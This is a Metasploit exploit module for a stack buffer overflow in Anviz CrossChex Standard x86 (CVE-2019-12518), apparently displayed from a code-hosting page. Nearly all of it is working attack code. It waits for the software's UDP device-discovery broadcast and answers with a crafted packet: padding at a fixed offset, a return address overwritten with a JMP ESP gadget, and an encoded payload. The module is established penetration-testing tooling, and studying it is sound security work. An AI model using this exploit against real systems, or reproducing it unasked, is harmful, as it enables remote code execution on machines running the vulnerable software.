Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/misc/crosschex_device_bof.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking7PACKET_LEN = 1089include Msf::Exploit::Remote::Udp1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Anviz CrossChex Buffer Overflow',16'Description' => %q{17Waits for broadcasts from Ainz CrossChex looking for new devices, and returns a custom broadcast,18triggering a stack buffer overflow.19},20'Author' =>21[22'Luis Catarino <[email protected]>', # original discovery/exploit23'Pedro Rodrigues <[email protected]>', # original discovery/exploit24'agalway-r7', # Module creation25'adfoster-r7' # Module creation26],27'License' => MSF_LICENSE,28'References' =>29[30['CVE', '2019-12518'],31['URL', 'https://www.0x90.zone/multiple/reverse/2019/11/28/Anviz-pwn.html'],32['EDB', '47734']33],34'Payload' =>35{36'Space' => 8947,37'DisableNops' => true38},39'Arch' => ARCH_X86,40'EncoderType' => Msf::Encoder::Type::Raw,41'Privileged' => true,42'Platform' => 'win',43'DisclosureDate' => '2019-11-28',44'Targets' =>45[46[47'Crosschex Standard x86 <= V4.3.12',48{49'Offset' => 261, # Overwrites stack memory to allow saved EIP to be overwritten50'Ret' => "\x07\x18\x42\x00", # Overwrites saved EIP with address of 'JMP ESP' assembly instruction found in CrossChex code51'Shift' => 4 # Positions payload to be written at beginning of ESP52}53]54],55'DefaultTarget' => 056)57)58deregister_udp_options59register_options(60[61Opt::CPORT(5050, true, 'Port used to listen for CrossChex Broadcast.'),62Opt::CHOST('0.0.0.0', true, 'IP address that UDP Socket listens for CrossChex broadcast on. \'0.0.0.0\' is needed to receive broadcasts.'),63OptInt.new('TIMEOUT', [true, 'Time in seconds to wait for a CrossChex broadcast. 0 or less waits indefinitely.', 100])64]65)66end6768def exploit69connect_udp7071res, host, port = udp_sock.recvfrom(PACKET_LEN, datastore['TIMEOUT'].to_i > 0 ? datastore['TIMEOUT'].to_i : nil)72if res.empty?73fail_with(Failure::TimeoutExpired, 'Module timed out waiting for CrossChex broadcast')74end7576print_status 'CrossChex broadcast received, sending payload in response'77sploit = rand_text_english(target['Offset'])78sploit << target.ret # Overwrites saved EIP with address of 'JMP ESP' assembly instruction found in CrossChex code79sploit << rand_text_english(target['Shift']) # Positions payload to be written at beginning of ESP80sploit << payload.encoded8182udp_sock.sendto(sploit, host, port)83print_status 'Payload sent'84end85end868788